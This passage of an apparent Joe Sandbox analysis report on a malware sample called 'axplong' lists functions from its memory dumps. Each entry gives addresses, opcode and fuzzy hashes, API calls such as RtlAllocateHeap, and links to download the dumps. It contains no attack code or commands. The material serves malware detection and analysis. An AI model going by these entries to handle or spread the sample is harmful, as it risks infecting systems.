API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 1e5bd2512793ff1da073debfadd7da69f68c3a3320407de9e9dbd41c1942c411
Instruction ID: 2b05fa9b4e4713d4543e8b8483b74980eb5524e17d08ab90742fda93204f492d
Opcode Fuzzy Hash: 1e5bd2512793ff1da073debfadd7da69f68c3a3320407de9e9dbd41c1942c411
Instruction Fuzzy Hash: AB514970D20319ABEB14EF68CC497DEB775DB45304F5042A8E844A72C2EF305AE48F91

Function 00236F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00236FB3

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 84cb218335737adb8ac1ef79de6bc40138ef9215bb0a8cbf6e8e14490d120a38
Instruction ID: 11ab14072033a70b8bdc4d8a804dbaee5db25c9f108efe214ca1e7d302355b75
Opcode Fuzzy Hash: 84cb218335737adb8ac1ef79de6bc40138ef9215bb0a8cbf6e8e14490d120a38
Instruction Fuzzy Hash: 54111FB291020DBADB00DED4D848EDFB7BCAB08310F108266E516E6180E770EB54CB61

Function 0023D6EF Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0023A5ED,?,002374AE,?,00000000,?), ref: 0023D731

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1b665134e12f50a937d93c9464c5babe75339e55d4fa73e184abac05445f021e
Instruction ID: 0baa3495584a4792d706a337a945ffade3326d09d5110a0c48185e8c6c7bf229
Opcode Fuzzy Hash: 1b665134e12f50a937d93c9464c5babe75339e55d4fa73e184abac05445f021e
Instruction Fuzzy Hash: 47F0E9B1B79226679F212E217C05B5BF7999F817B0F188512FC04DA181CA60E82046E0

Function 0023AF0B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,99589762,?,?,0021D32C,99589762,?,002178FB,?,?,?,?,?,?,00207435,?), ref: 0023AF3E

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 91dbc7c20c20b9aa16262bfa8743cf44d2f32f1b5c05df95b98de633ab8fe479
Instruction ID: f647e692ce2ce32f79d45ad3b25005238a999fd105b206dae8f62b2ff6de5c62
Opcode Fuzzy Hash: 91dbc7c20c20b9aa16262bfa8743cf44d2f32f1b5c05df95b98de633ab8fe479
Instruction Fuzzy Hash: E3E02BF133D21356EB313A255C00B5B76899F423B1F140071FC84968C0DFA6DC2046E3

Function 04C108FF Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03f8e0092f598156a76ec2aafa1d9ce7494c28d026188c9dd4e7ca10cb44f59
Instruction ID: 7aaa23007e608a4b8023aa573bd805c9ed2633c62284d2cadcd9491c570afe33
Opcode Fuzzy Hash: d03f8e0092f598156a76ec2aafa1d9ce7494c28d026188c9dd4e7ca10cb44f59
Instruction Fuzzy Hash: 091192EB2891117D710281823B28AFBA76EE4C7731734C87BF907D1816E2C51A8D7131

Function 04C10906 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530a5ca3df782caece7cde6ab9c749cdf98a6d089db512b308c9d882c127c3bf
Instruction ID: d29242ab445fc45c026f3254d9486185495c323ac2ee50acd54d3b59d139ddbb
Opcode Fuzzy Hash: 530a5ca3df782caece7cde6ab9c749cdf98a6d089db512b308c9d882c127c3bf
Instruction Fuzzy Hash: AA11C5EF2881117DB10286823B28AFBA76EE4C7730734C87BF507C1816E6C51A8D7631

Function 04C1091B Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fffbebc1998a1cfa41fab25a63c4a1b4128f42ada0f9ac9cb9a29a4eb2c2b1
Instruction ID: 8eba539ba75143060296820a2a3ee77ba4ead9f83bc3dd2c9c71f83dcfd3554e
Opcode Fuzzy Hash: 46fffbebc1998a1cfa41fab25a63c4a1b4128f42ada0f9ac9cb9a29a4eb2c2b1
Instruction Fuzzy Hash: 5111A2EF2891117DB10286827B28AFBA76EE5C7B31730C87BF507D1816E6D50A8D7532

Function 04C10966 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e97f233093340c0917891a2fc8a66e2b80e398b18d8dabe51ac3916d6d0d82
Instruction ID: 24e2d4660e61367d7d0666ae260d1394002cd82909afe4b5c99d7332ae1f8c32
Opcode Fuzzy Hash: 77e97f233093340c0917891a2fc8a66e2b80e398b18d8dabe51ac3916d6d0d82
Instruction Fuzzy Hash: A6F030EB24D1517DB10281433F38AF7676ED0C77727348467F507C5826E68A1A8EB132

Function 04C109CC Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de2e71466d225d1c44a227726f1c4a25e09c459204983a2f76fa3b7c87a5cae
Instruction ID: 79a8ea04049287b46ae1f858faf8704a010c97187bec52412afc0b6a897da5d2
Opcode Fuzzy Hash: 8de2e71466d225d1c44a227726f1c4a25e09c459204983a2f76fa3b7c87a5cae
Instruction Fuzzy Hash: 19F05EEB2990513D710284833F68AFB6B6EE0C2A72335C967F547C5816E6894E8E7171

Function 04C10986 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3524523725.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5149c0d7851c835241697b1353df30fc7877a11fa0b5d1486228150ab3bb4b26
Instruction ID: 4534c7275979b01976f112c01394f84840d8d07786df6f2b28ab9e3cbd3e3494
Opcode Fuzzy Hash: 5149c0d7851c835241697b1353df30fc7877a11fa0b5d1486228150ab3bb4b26
Instruction Fuzzy Hash: 2CF058EB2880507D7102C0433F28AFB6B2EE0C2A30730C82BF807C581AE6860A8E7171

Non-executed Functions

Function 00243068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 002431E3

Strings

1#QNAN, xrefs: 00244381
1#INF, xrefs: 0024439E
1#IND, xrefs: 00244373
1#SNAN, xrefs: 0024437A

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 21bb73d72ff6011a7860bcd58ac950dac03d1938838fb32dc17844122d66c7cb
Instruction ID: 00d105a9010e517334769c9123b992611ecc756916afdd6369a0f2ccf5addf90
Opcode Fuzzy Hash: 21bb73d72ff6011a7860bcd58ac950dac03d1938838fb32dc17844122d66c7cb
Instruction Fuzzy Hash: 2DC26C71E246298FDB29DF28DD407E9B7B9EB48304F1441EAD84EE7240E774AE958F40

Function 00242BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: eccc4b0bb124f48abbca2206d9e91088789fab3aa8b9792d96c19ca72c64561c
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 6CF14F71E1021ADFDF18CFA9C8806AEB7B1FF48314F558269E819AB344D731AE55CB90

Function 0021CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0021CE82,?,?,?,?,0021CEB7,?,?,?,?,?,?,0021C42D,?,00000001), ref: 0021CB33

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: dc0caf2febcb34b2114f5d0fabf8df0c31f9322e2ea6d127b21a8f9bb159ee4c
Instruction ID: bb6026df170f84e51fa9a91007522661b063d965217a7a61c5297e435a81b278
Opcode Fuzzy Hash: dc0caf2febcb34b2114f5d0fabf8df0c31f9322e2ea6d127b21a8f9bb159ee4c
Instruction Fuzzy Hash: 7CD022325A713CA3CA013B90FC488EFBB4C9B00B187501211EC04A32208AA06D908BD5

Function 00237D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00237EFF

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: c793e25482ff852d6490089a8ae42cdad0b7f2be3a7d0146f7289caf25a6cfa7
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: C051BBF023C74F56DF388E3888957BEA79AAF12300F14049EE442DBA92CB91DD758752

Function 00204CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e91c25b1457721145a65235f8c1a46f1705d74ad308b7bd5770751323f0947
Instruction ID: 7e55c8f3ac8fc90eb700b62aaba55d91303ee2bd1529bf8634fc48592a015824
Opcode Fuzzy Hash: 25e91c25b1457721145a65235f8c1a46f1705d74ad308b7bd5770751323f0947
Instruction Fuzzy Hash: 40225EB3F515144BDB0CCA9DDCA27EDB2E3AFD8318B0E813DA40AE3345EA79D9158644

Function 00246F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5033e07ca1431dd2078d1df3e9be1a55a5cd3ca3e83535a56a96a97bba1202
Instruction ID: 0f088241f28587303676229daebca8c4e5554fd97768c2d21e3f63bc732f6732
Opcode Fuzzy Hash: db5033e07ca1431dd2078d1df3e9be1a55a5cd3ca3e83535a56a96a97bba1202
Instruction Fuzzy Hash: A6B14C71224609DFD719CF28C486B657BE0FF45364F258658E8EACF2A1C375E9A2CB40

Function 00204AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f331c9a725f1b9d77d24d7232c41ead9f71b43dfa121be154a8d275494ee807
Instruction ID: 4baff60e70cbc4a88ff0f682fa7370a27f6026383a09ae2e4ff93d1a99f1218c
Opcode Fuzzy Hash: 1f331c9a725f1b9d77d24d7232c41ead9f71b43dfa121be154a8d275494ee807
Instruction Fuzzy Hash: CB51DF706183918FD319CF2DD11563ABBE1AFD9200F084A9EE0D697282D774DA48CBE2

Function 0024777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
